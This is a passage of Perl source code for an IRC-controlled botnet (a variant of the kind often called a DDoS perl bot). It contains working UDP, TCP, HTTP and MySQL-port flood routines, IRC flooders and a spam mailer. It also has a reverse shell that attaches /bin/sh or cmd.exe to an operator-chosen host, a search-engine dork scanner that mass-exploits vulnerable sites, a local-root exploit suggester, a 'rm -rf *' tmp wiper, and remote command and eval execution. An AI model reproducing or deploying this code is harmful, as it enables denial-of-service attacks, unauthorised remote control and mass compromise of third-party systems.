  2004. vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
  2005.  
  2006. };
  2007.  
  2008.  
  2009.  
  2010. $h{'prctl'} = {
  2011.  
  2012. vuln=>['2.6.']
  2013.  
  2014. };
  2015.  
  2016.  
  2017.  
  2018. $h{'kmdx'} = {
  2019.  
  2020. vuln=>['2.6.','2.4.']
  2021.  
  2022. };
  2023.  
  2024.  
  2025.  
  2026. $h{'raptor'} = {
  2027.  
  2028. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  2029.  
  2030. };
  2031.  
  2032.  
  2033.  
  2034. $h{'raptor2'} = {
  2035.  
  2036. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  2037.  
  2038. };
  2039.  
  2040.  
  2041.  
  2042. foreach my $key(keys %h){
  2043.  
  2044. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
  2045.  
  2046. if($khost=~/^$kernel/){
  2047.  
  2048. chop($kernel) if ($kernel=~/.$/);
  2049.  
  2050. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  2051.  
  2052. }
  2053.  
  2054. }
  2055.  
  2056. }
  2057.  
  2058. }
  2059.  
  2060. ######################
  2061.  
  2062. # MAILER #
  2063.  
  2064. ######################
  2065.  
  2066. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  2067.  
  2068. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Sending Mail to : 2 $3");
  2069.  
  2070. $subject = $1;
  2071.  
  2072. $sender = $2;
  2073.  
  2074. $recipient = $3;
  2075.  
  2076. @corpo = $4;
  2077.  
  2078. $mailtype = "content-type: text/html";
  2079.  
  2080. $sendmail = '/usr/sbin/sendmail';
  2081.  
  2082. open (SENDMAIL, "| $sendmail -t");
  2083.  
  2084. print SENDMAIL "$mailtype\n";
  2085.  
  2086. print SENDMAIL "Subject: $subject\n";
  2087.  
  2088. print SENDMAIL "From: $sender\n";
  2089.  
  2090. print SENDMAIL "To: $recipient\n\n";
  2091.  
  2092. print SENDMAIL "@corpo\n\n";
  2093.  
  2094. close (SENDMAIL);
  2095.  
  2096. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Mail Sent To : 2 $recipient");
  2097.  
  2098. }
  2099.  
  2100. ######################
  2101.  
  2102. # End of MAILER #
  2103.  
  2104. ######################
  2105.  
  2106. # A /tmp cleaner
  2107.  
  2108.  
  2109.  
  2110. if ($funcarg =~ /^cleartmp/) {
  2111.  
  2112. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  2113.  
  2114. }
  2115.  
  2116. if ($funcarg =~ /^no/) {
  2117.  
  2118. system 'cd /tmp;rm -rf *';
  2119.  
  2120. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  2121.  
  2122. }
  2123.  
  2124. #-#-#-#-#-#-#-#-#
  2125.  
  2126. # Flooders IRC #
  2127.  
  2128. #-#-#-#-#-#-#-#-#
  2129.  
  2130. # msg, @msgflood <who>
  2131.  
  2132. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  2133.  
  2134. for($i=0; $i<=10; $i+=1){
  2135.  
  2136. sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  2137.  
  2138. }
  2139.  
  2140. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  2141.  
  2142. }
  2143.  
  2144.  
  2145.  
  2146. # dccflood, @dccflood <who>
  2147.  
  2148. if ($funcarg =~ /^dccflood (.*)/) {
  2149.  
  2150. for($i=0; $i<=10; $i+=1){
  2151.  
  2152. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  2153.  
  2154. }
  2155.  
  2156. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  2157.  
  2158. }
  2159.  
  2160. # ctcpflood, @ctcpflood <who>
  2161.  
  2162. if ($funcarg =~ /^ctcpflood (.*)/) {
  2163.  
  2164. for($i=0; $i<=10; $i+=1){
  2165.  
  2166. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  2167.  
  2168. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  2169.  
  2170. }
  2171.  
  2172. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  2173.  
  2174. }
  2175.  
  2176. # noticeflood, @noticeflood <who>
  2177.  
  2178. if ($funcarg =~ /^noticeflood (.*)/) {
  2179.  
  2180. for($i=0; $i<=10; $i+=1){
  2181.  
  2182. sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  2183.  
  2184. }
  2185.  
  2186. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  2187.  
  2188. }
  2189.  
  2190. # Channel Flood, @channelflood
  2191.  
  2192. if ($funcarg =~ /^channelflood/) {
  2193.  
  2194. for($i=0; $i<=25; $i+=1){
  2195.  
  2196. sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  2197.  
  2198. }
  2199.  
  2200. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  2201.  
  2202. }
  2203.  
  2204. # Maxi Flood, @maxiflood
  2205.  
  2206. if ($funcarg =~ /^maxiflood(.*)/) {
  2207.  
  2208. for($i=0; $i<=15; $i+=1){
  2209.  
  2210. sendraw($IRC_cur_socket, "NOTICE ".$1." :Iyzan_Loves_you,_;)\n");
  2211.  
  2212. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  2213.  
  2214. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  2215.  
  2216. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :Iyzan_Loves_you,_;\n");
  2217.  
  2218. }
  2219.  
  2220. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  2221.  
  2222. }
  2223.  
  2224. ######################
  2225.  
  2226. # irc #
  2227.  
  2228. ######################
  2229.  
  2230. if ($funcarg =~ /^reset/) {
  2231.  
  2232. sendraw($IRC_cur_socket, "QUIT :");
  2233.  
  2234. }
  2235.  
  2236. if ($funcarg =~ /^join (.*)/) {
  2237.  
  2238. sendraw($IRC_cur_socket, "JOIN ".$1);
  2239.  
  2240. }
  2241.  
  2242. if ($funcarg =~ /^part (.*)/) {
  2243.  
  2244. sendraw($IRC_cur_socket, "PART ".$1);
  2245.  
  2246. }
  2247.  
  2248. if ($funcarg =~ /^voice (.*)/) {
  2249.  
  2250. sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  2251.  
  2252. }
  2253.  
  2254. if ($funcarg =~ /^devoice (.*)/) {
  2255.  
  2256. sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  2257.  
  2258. }
  2259.  
  2260. if ($funcarg =~ /^halfop (.*)/) {
  2261.  
  2262. sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  2263.  
  2264. }
  2265.  
  2266. if ($funcarg =~ /^dehalfop (.*)/) {
  2267.  
  2268. sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  2269.  
  2270. }
  2271.  
  2272. if ($funcarg =~ /^owner (.*)/) {
  2273.  
  2274. sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  2275.  
  2276. }
  2277.  
  2278. if ($funcarg =~ /^deowner (.*)/) {
  2279.  
  2280. sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  2281.  
  2282. }
  2283.  
  2284. if ($funcarg =~ /^op (.*)/) {
  2285.  
  2286. sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  2287.  
  2288. }
  2289.  
  2290. if ($funcarg =~ /^deop (.*)/) {
  2291.  
  2292. sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  2293.  
  2294. }
  2295.  
  2296. ######################
  2297.  
  2298. #End of Join And Part#
  2299.  
  2300. ######################
  2301.  
  2302.  
  2303.  
  2304. ######################
  2305.  
  2306. # UDPFlood #
  2307.  
  2308. ######################
  2309.  
  2310. if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  2311.  
  2312. sendraw($IRC_cur_socket, "PRIVMSG $printl :13[4@3UDP][DARK-DDOS][PERL][A13] [UDP][DARK-DDOS][PERL][A]DARK-DDOS a inceput sa atace;4 ".$1.":".$2." 13PE 4 ".$3." 13SECUNDE.");
  2313.  
  2314. $iaddr = inet_aton("$1") or die "Fuck wrong ip";
  2315.  
  2316. $endtime = time() + ($3 ? $3 : 1000000);
  2317.  
  2318. socket(flood, PF_INET, SOCK_DGRAM, 17);
  2319.  
  2320. $port = "80";
  2321.  
  2322. for (;time() <= $endtime;) {
  2323.  
  2324. $2 = $2 ? $2 : int(rand(1024-64)+64) ;
  2325.  
  2326. $port = $port ? $port : int(rand(65500))+1;
  2327.  
  2328. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($2, $iaddr));}
  2329.  
  2330. sendraw($IRC_cur_socket,"PRIVMSG $printl :13[4@3UDP][DARK-DDOS][PERL][Af13] Atacul s-a terminat #DARK-DDOS 4 ".$1.":".$2.".");
  2331.  
  2332. }
  2333.  
  2334. ######################
  2335.  
  2336. # TCPFlood #
  2337.  
  2338. ######################
  2339.  
  2340.  
  2341.  
  2342. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  2343.  
  2344. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  2345.  
  2346. my $itime = time;
  2347.  
  2348. my ($cur_time);
  2349.  
  2350. $cur_time = time - $itime;
  2351.  
  2352. while ($3>$cur_time){
  2353.  
  2354. $cur_time = time - $itime;
  2355.  
  2356. &tcpflooder("$1","$2","$3");
  2357.  
  2358. }
  2359.  
  2360. sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  2361.  
  2362. }
  2363.  
  2364. ######################
  2365.  
  2366. # End of TCPFlood #
  2367.  
  2368. ######################
  2369.  
  2370. ######################
  2371.  
  2372. # SQL Fl00dEr #
  2373.  
  2374. ######################
  2375.  
  2376. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  2377.  
  2378. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  2379.  
  2380. my $itime = time;
  2381.  
  2382. my ($cur_time);
  2383.  
  2384. $cur_time = time - $itime;
  2385.  
  2386. while ($2>$cur_time){
  2387.  
  2388. $cur_time = time - $itime;
  2389.  
  2390. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  2391.  
  2392. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  2393.  
  2394. close($socket);
  2395.  
  2396. }
  2397.  
  2398. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  2399.  
  2400. }
  2401.  
  2402. ######################
  2403.  
  2404. # Back Connect #
  2405.  
  2406.  
  2407.  
  2408. ######################
  2409.  
  2410. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  2411.  
  2412. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12]:::... I don't know, I'm watching a show tho");
  2413.  
  2414.  
  2415.  
  2416. }
  2417.  
  2418. if ($funcarg =~ /^shhcon\s+(.*)\s+(\d+)/) {
  2419.  
  2420. my $host = "$1";
  2421.  
  2422. my $porta = "$2";
  2423.  
  2424. my $proto = getprotobyname('tcp');
  2425.  
  2426. my $iaddr = inet_aton($host);
  2427.  
  2428. my $paddr = sockaddr_in($porta, $iaddr);
  2429.  
  2430. my $zr = "/bin/sh -i";
  2431.  
  2432. if ($^O eq "MSWin32") {
  2433.  
  2434. $zr = "cmd.exe";
  2435.  
  2436. }
  2437.  
  2438. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  2439.  
  2440. connect(SOCKET, $paddr) or die "connect: $!";
  2441.  
  2442. open(STDIN, ">&SOCKET");
  2443.  
  2444. open(STDOUT, ">&SOCKET");
  2445.  
  2446. open(STDERR, ">&SOCKET");
  2447.  
  2448. system("$zr");
  2449.  
  2450. close(STDIN);
  2451.  
  2452. close(STDOUT);
  2453.  
  2454. close(STDERR);
  2455.  
  2456. if ($estatisticas){
  2457.  
  2458. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  2459.  
  2460. }
  2461.  
  2462. }
  2463.  
  2464. ######################
  2465.  
  2466. #End of Back Connect#
  2467.  
  2468. ######################
  2469.  
  2470. ######################
  2471.  
  2472. # MULTI SCANNER #
  2473.  
  2474. ######################
  2475.  
  2476. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  2477.  
  2478. if (my $pid = fork) {
  2479.  
  2480. waitpid($pid, 0);
  2481.  
  2482. } else {
  2483.  
  2484. if (fork) {
  2485.  
  2486. exit;
  2487.  
  2488. } else {
  2489.  
  2490. my $bug=$1;
  2491.  
  2492. my $dork=$2;
  2493.  
  2494. my $contatore=0;
  2495.  
  2496. my ($type,$space);
  2497.  
  2498. my %hosts;
  2499.  
  2500. ### Start Message
  2501.  
  2502. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  2503.  
  2504. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  2505.  
  2506. ### End of Start Message
  2507.  
  2508. # Starting Google
  2509.  
  2510. my @glist=&google($dork);
  2511.  
  2512. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  2513.  
  2514. my @mlist=&msn($dork);
  2515.  
  2516. my @asklist=&ask($dork);
  2517.  
  2518. my @allist=&alltheweb($dork);
  2519.  
  2520. my @aollist=&aol($dork);
  2521.  
  2522. my @lycos=&lycos($dork);
  2523.  
  2524. my @ylist=&yahoo($dork);
  2525.  
  2526. my @mzlist=&mozbot($dork);
  2527.  
  2528. my @mamalist&mamma($dork);
  2529.  
  2530. my @hlist=&hotbot($dork);
  2531.  
  2532. my @altlist=&altavista($dork);
  2533.  
  2534. my @slist=&search($dork);
  2535.  
  2536. my @ulist=&uol($dork);
  2537.  
  2538. my @fireball=&fireball($dork);
  2539.  
  2540. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  2541.  
  2542. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  2543.  
  2544. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  2545.  
  2546. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  2547.  
  2548. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  2549.  
  2550. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  2551.  
  2552. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  2553.  
  2554. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  2555.  
  2556. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  2557.  
  2558. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  2559.  
  2560. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  2561.  
  2562. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  2563.  
  2564. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  2565.  
  2566. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  2567.  
  2568. #
  2569.  
  2570. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  2571.  
  2572. my @puliti=&unici(@tot);
  2573.  
  2574. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  2575.  
  2576. my $uni=scalar(@puliti);
  2577.  
  2578. foreach my $sito (@puliti)
  2579.  
  2580. {
  2581.  
  2582. $contatore++;
  2583.  
  2584. if ($contatore %100==0){
  2585.  
  2586. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting 7[".$contatore."7] of 7[".$uni. "7] Sites");
  2587.  
  2588. }
  2589.  
  2590. if ($contatore==$uni-1){
  2591.  
  2592. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for $dork");
  2593.  
  2594. }
  2595.  
  2596. ### Print CMD and TEST CMD###
  2597.  
  2598. my $test="http://".$sito.$bug.$id."?";
  2599.  
  2600. my $print="http://".$sito.$bug.$cmd."?";
  2601.  
  2602. ### End of Print CMD and TEST CMD###
  2603.  
  2604. my $req=HTTP::Request->new(GET=>$test);
  2605.  
  2606. my $ua=LWP::UserAgent->new();
  2607.  
  2608. $ua->timeout(4);
  2609.  
  2610. my $response=$ua->request($req);
  2611.  
  2612. if ($response->is_success) {
  2613.  
  2614. my $re=$response->content;
  2615.  
  2616. if($re =~ /Mic22/ && $re =~ /uid=/){
  2617.  
  2618. my $hs=geths($print); $hosts{$hs}++;
  2619.  
  2620. if($hosts{$hs}=="1"){
  2621.  
  2622. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = OFF :. | Vuln: $print ");
  2623.  
  2624. }}
  2625.  
  2626. elsif($re =~ /Mic22/)
  2627.  
  2628. {
  2629.  
  2630. my $hs=geths($print); $hosts{$hs}++;
  2631.  
  2632. if($hosts{$hs}=="1"){
  2633.  
  2634. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = ON :. | Vuln: $print ");
  2635.  
  2636. }}
  2637.  
  2638. }}}
  2639.  
  2640. exit;
  2641.  
  2642. }}}
  2643.  
  2644. ######################
  2645.  
  2646. #End of MultiSCANNER #
  2647.  
  2648. ######################
  2649.  
  2650. ######################
  2651.  
  2652. # HTTPFlood #
  2653.  
  2654. ######################
  2655.  
  2656. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  2657.  
  2658. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP FLOOD 12:.4|12 Ataca 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  2659.  
  2660. my $itime = time;
  2661.  
  2662. my ($cur_time);
  2663.  
  2664. $cur_time = time - $itime;
  2665.  
  2666. while ($2>$cur_time){
  2667.  
  2668. $cur_time = time - $itime;
  2669.  
  2670. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  2671.  
  2672. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  2673.  
  2674. close($socket);
  2675.  
  2676. }
  2677.  
  2678. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  2679.  
  2680. }
  2681.  
  2682. ######################
  2683.  
  2684. # End of HTTPFlood #
  2685.  
  2686. ######################
  2687.  
  2688. ######################
  2689.  
  2690. # UDPFlood #
  2691.  
  2692. ######################
  2693.  
  2694. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  2695.  
  2696. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3[UDP][DARK-DDOS][PERL][A]12:.4|12 [DARK-DDOS #PERL] Ataca 4 ".$1." 12 CU 4 ".$2." 12 Kb PACHETE PE 4 ".$3." 12 SECUNDE.");
  2697.  
  2698. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  2699.  
  2700. $dtime = 1 if $dtime == 0;
  2701.  
  2702. my %bytes;
  2703.  
  2704. $bytes{igmp} = $2 * $pacotes{igmp};
  2705.  
  2706. $bytes{icmp} = $2 * $pacotes{icmp};
  2707.  
  2708. $bytes{o} = $2 * $pacotes{o};
  2709.  
  2710. $bytes{udp} = $2 * $pacotes{udp};
  2711.  
  2712. $bytes{tcp} = $2 * $pacotes{tcp};
  2713.  
  2714. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP][DARK-DDOS][PERL][A12]12 12REZULTAT4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12KB IN4 ".$dtime." 12SECUNDE PE4 ".$1.".");
  2715.  
  2716. }
  2717.  
  2718. ######################
  2719.  
  2720. # End of Udpflood #
  2721.  
  2722. ######################
  2723.  
  2724. exit;
  2725.  
  2726. }
  2727.  
  2728. }
  2729.  
  2730.  
  2731.  
  2732. sub ircase {
  2733.  
  2734. my ($kem, $printl, $case) = @_;
  2735.  
  2736. if ($case =~ /^join (.*)/) {
  2737.  
  2738. j("$1");
  2739.  
  2740. }
  2741.  
  2742. if ($case =~ /^part (.*)/) {
  2743.  
  2744. p("$1");
  2745.  
  2746. }
  2747.  
  2748. if ($case =~ /^rejoin\s+(.*)/) {
  2749.  
  2750. my $chan = $1;
  2751.  
  2752. if ($chan =~ /^(\d+) (.*)/) {
  2753.  
  2754. for (my $ca = 1; $ca <= $1; $ca++ ) {
  2755.  
  2756. p("$2");
  2757.  
  2758. j("$2");
  2759.  
  2760. }
  2761.  
  2762. } else {
  2763.  
  2764. p("$chan");
  2765.  
  2766. j("$chan");
  2767.  
  2768. }
  2769.  
  2770. }
  2771.  
  2772.  
  2773.  
  2774. if ($case =~ /^op/) {
  2775.  
  2776. op("$printl", "$kem") if $case eq "op";
  2777.  
  2778. my $oarg = substr($case, 3);
  2779.  
  2780. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  2781.  
  2782. }
  2783.  
  2784.  
  2785.  
  2786. if ($case =~ /^deop/) {
  2787.  
  2788. deop("$printl", "$kem") if $case eq "deop";
  2789.  
  2790. my $oarg = substr($case, 5);
  2791.  
  2792. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  2793.  
  2794. }
  2795.  
  2796.  
  2797.  
  2798. if ($case =~ /^msg\s+(\S+) (.*)/) {
  2799.  
  2800. msg("$1", "$2");
  2801.  
  2802. }
  2803.  
  2804.  
  2805.  
  2806. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  2807.  
  2808. for (my $cf = 1; $cf <= $1; $cf++) {
  2809.  
  2810. msg("$2", "$3");
  2811.  
  2812. }
  2813.  
  2814. }
  2815.  
  2816.  
  2817.  
  2818. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  2819.  
  2820. ctcp("$1", "$2");
  2821.  
  2822. }
  2823.  
  2824.  
  2825.  
  2826. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  2827.  
  2828. for (my $cf = 1; $cf <= $1; $cf++) {
  2829.  
  2830. ctcp("$2", "$3");
  2831.  
  2832. }
  2833.  
  2834. }
  2835.  
  2836.  
  2837.  
  2838. if ($case =~ /^nick (.*)/) {
  2839.  
  2840. nick("$1");
  2841.  
  2842. }
  2843.  
  2844.  
  2845.  
  2846. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  2847.  
  2848. conectar("$2", "$1", 6667);
  2849.  
  2850. }
  2851.  
  2852.  
  2853.  
  2854. if ($case =~ /^raw (.*)/) {
  2855.  
  2856. sendraw("$1");
  2857.  
  2858. }
  2859.  
  2860.  
  2861.  
  2862. if ($case =~ /^eval (.*)/) {
  2863.  
  2864. eval "$1";
  2865.  
  2866. }
  2867.  
  2868. }
  2869.  
  2870.  
  2871.  
  2872. sub get_html() {
  2873.  
  2874. $test=$_[0];
  2875.  
  2876.  
  2877.  
  2878. $ip=$_[1];
  2879.  
  2880. $port=$_[2];
  2881.  
  2882.  
  2883.  
  2884. my $req=HTTP::Request->new(GET=>$test);
  2885.  
  2886. my $ua=LWP::UserAgent->new();
  2887.  
  2888. if(defined($ip) && defined($port)) {
  2889.  
  2890. $ua->proxy("http","http://$ip:$port/");
  2891.  
  2892. $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  2893.  
  2894. }
  2895.  
  2896. $ua->timeout(1);
  2897.  
  2898. my $response=$ua->request($req);
  2899.  
  2900. if ($response->is_success) {
  2901.  
  2902. $re=$response->content;
  2903.  
  2904. }
  2905.  
  2906. return $re;
  2907.  
  2908. }
  2909.  
  2910.  
  2911.  
  2912. sub addproc {
  2913.  
  2914.  
  2915.  
  2916. my $proc=$_[0];
  2917.  
  2918. my $dork=$_[1];
  2919.  
  2920.  
  2921.  
  2922. open(FILE,">>/var/tmp/pids");
  2923.  
  2924. print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  2925.  
  2926. close(FILE);
  2927.  
  2928. }
  2929.  
  2930.  
  2931.  
  2932.  
  2933.  
  2934. sub delproc {
  2935.  
  2936.  
  2937.  
  2938. my $proc=$_[0];
  2939.  
  2940. open(FILE,"/var/tmp/pids");
  2941.  
  2942.  
  2943.  
  2944. while(<FILE>) {
  2945.  
  2946. $_ =~ /(\d+)\s+(.*)/;
  2947.  
  2948. $childs{$1}=$2;
  2949.  
  2950. }
  2951.  
  2952. close(FILE);
  2953.  
  2954. delete($childs{$proc});
  2955.  
  2956.  
  2957.  
  2958. open(FILE,">/var/tmp/pids");
  2959.  
  2960.  
  2961.  
  2962. for $klucz (keys %childs) {
  2963.  
  2964. print FILE $klucz." ".$childs{$klucz}."\n";
  2965.  
  2966. }
  2967.  
  2968. }
  2969.  
  2970.  
  2971.  
  2972. sub zr {
  2973.  
  2974. my $printl=$_[0];
  2975.  
  2976. my $comando=$_[1];
  2977.  
  2978. if ($comando =~ /cd (.*)/) {
  2979.  
  2980. chdir("$1") || msg("$printl", "No such file or directory");
  2981.  
  2982. return;
  2983.  
  2984. } elsif ($pid = fork) {
  2985.  
  2986. waitpid($pid, 0);
  2987.  
  2988. } else {
  2989.  
  2990. if (fork) {
  2991.  
  2992. exit;
  2993.  
  2994. } else {
  2995.  
  2996. my @resp=`$comando 2>&1 3>&1`;
  2997.  
  2998. my $c=0;
  2999.  
  3000. foreach my $linha (@resp) {
  3001.  
  3002. $c++;
  3003.  
  3004. chop $linha;
  3005.  
  3006. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  3007.  
  3008. if ($c == "$linas_max") {
  3009.  
  3010. $c=0;
  3011.  
  3012. sleep $sleep;
  3013.  
  3014. }
  3015.  
  3016. }
  3017.  
  3018. exit;
  3019.  
  3020. }
  3021.  
  3022. }
  3023.  
  3024. }
  3025.  
  3026.  
  3027.  
  3028. sub tcpflooder {
  3029.  
  3030. my $itime = time;
  3031.  
  3032. my ($cur_time);
  3033.  
  3034. my ($ia,$pa,$proto,$j,$l,$t);
  3035.  
  3036. $ia=inet_aton($_[0]);
  3037.  
  3038. $pa=sockaddr_in($_[1],$ia);
  3039.  
  3040. $ftime=$_[2];
  3041.  
  3042. $proto=getprotobyname('tcp');
  3043.  
  3044. $j=0;$l=0;
  3045.  
  3046. $cur_time = time - $itime;
  3047.  
  3048. while ($l<1000){
  3049.  
  3050. $cur_time = time - $itime;
  3051.  
  3052. last if $cur_time >= $ftime;
  3053.  
  3054. $t="SOCK$l";
  3055.  
  3056. socket($t,PF_INET,SOCK_STREAM,$proto);
  3057.  
  3058. connect($t,$pa)||$j--;
  3059.  
  3060. $j++;
  3061.  
  3062. $l++;
  3063.  
  3064. }
  3065.  
  3066. $l=0;
  3067.  
  3068. while ($l<1000){
  3069.  
  3070. $cur_time = time - $itime;
  3071.  
  3072. last if $cur_time >= $ftime;
  3073.  
  3074. $t="SOCK$l";
  3075.  
  3076. shutdown($t,2);
  3077.  
  3078. $l++;
  3079.  
  3080. }
  3081.  
  3082. }
  3083.  
  3084.  
  3085.  
  3086. sub udpflooder {
  3087.  
  3088. my $iaddr = inet_aton($_[0]);
  3089.  
  3090. my $msg = 'A' x $_[1];
  3091.  
  3092. my $ftime = $_[2];
  3093.  
  3094. my $cp = 0;
